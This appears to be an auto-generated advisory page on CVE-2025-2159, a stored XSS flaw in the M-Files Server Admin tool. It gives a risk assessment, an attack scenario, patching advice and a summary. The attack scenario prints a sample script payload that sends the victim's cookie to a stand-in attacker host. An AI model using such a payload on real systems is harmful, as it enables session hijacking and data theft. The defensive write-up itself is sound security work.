Severity: Unknown
Description: Stored XSS in Desktop UI in M-Files Server Admin tool before version 25.3.14681.7 on Windows allows authenticated local user to run scripts via UI
CVSS Score: N/A
D
No data available.
No data available.
1. Risk Assessment
The vulnerability CVE-2025-2159 is a stored Cross-Site Scripting (XSS) flaw within the Desktop UI of the M-Files Server Admin tool, specifically affecting versions prior to 25.3.14681.7 on Windows. This XSS allows an authenticated local user to execute arbitrary scripts through the user interface. The vulnerability has a CVSS v4.0 base score of 5.1, categorized as Medium severity, indicating a moderate risk. The likelihood of exploitation is considered moderate because it requires an authenticated user, limiting the attacker pool. However, once authenticated, exploitation is relatively easy, requiring only the injection of a malicious script into a field that’s then stored and rendered by the application. The primary impact is on confidentiality; a successful attack could allow an attacker to steal cookies, session tokens, or other sensitive information associated with the authenticated user. Integrity could also be affected if the script modifies data within the admin tool. Availability impact is currently assessed as none, but could become relevant if the script is resource intensive or disruptive. The EPSS score of 0.000210000 suggests a relatively low probability of exploitation across the broader environment, but within organizations heavily utilizing the M-Files Admin tool, the risk is more significant.
2. Potential Attack Scenarios
An attacker, already possessing valid credentials to the M-Files Admin tool, could exploit this vulnerability. The attacker could inject a malicious JavaScript payload into a field within the Admin tool’s Desktop UI, such as a description field or a configuration setting. This payload could be crafted to steal the user’s session cookie, which could then be used to impersonate the user.
Attack Vector: The attacker gains access to the M-Files Admin tool using valid credentials.
Attack Process: The attacker navigates to a field within the Desktop UI where they can input text, such as the description of a metadata property. They then enter a carefully crafted JavaScript payload, for example, `<script>document.location='http://attacker.com/?cookie='+document.cookie</script>`. This script will execute when the page containing the injected payload is rendered.
Potential Outcomes: The JavaScript payload sends the user's cookie to the attacker's server (attacker.com). The attacker can then use this cookie to hijack the user's M-Files session, gaining access to the resources and permissions the user has. This could lead to data breaches, unauthorized modifications, or denial of service, depending on the user’s role and privileges.
3. Mitigation Recommendations
The primary mitigation for CVE-2025-2159 is to upgrade the M-Files Server Admin tool to version 25.3.14681.7 or later. This update patches the stored XSS vulnerability and prevents the execution of arbitrary scripts.
Immediate Actions:
Patching: Upgrade to version 25.3.14681.7 of the M-Files Server Admin tool as soon as possible.
Regular Updates: Implement a regular patching schedule for the M-Files Server and its components to address future vulnerabilities.
Further Resources:
M-Files Security Advisory: https://product.m-files.com/security-advisories/cve-2025-2159/
M-Files Empower Security Advisory: https://empower.m-files.com/security-advisories/CVE-2025-2159
4. Executive Summary
CVE-2025-2159 represents a medium-severity security vulnerability in the M-Files Server Admin tool that allows an authenticated local user to execute malicious scripts. While not immediately critical, this XSS flaw poses a risk to the confidentiality of user data and potentially the integrity of configurations within the M-Files environment. A successful attack could allow an attacker to steal user session cookies and impersonate legitimate users, potentially leading to data breaches or unauthorized modifications. To mitigate this risk, it is recommended to upgrade the M-Files Server Admin tool to version 25.3.14681.7 or later. This update is crucial for protecting sensitive data and ensuring the continued secure operation of M-Files, especially for organizations that rely heavily on the Admin tool for managing their document management system. Prioritize patching to minimize potential business impact and maintain data security.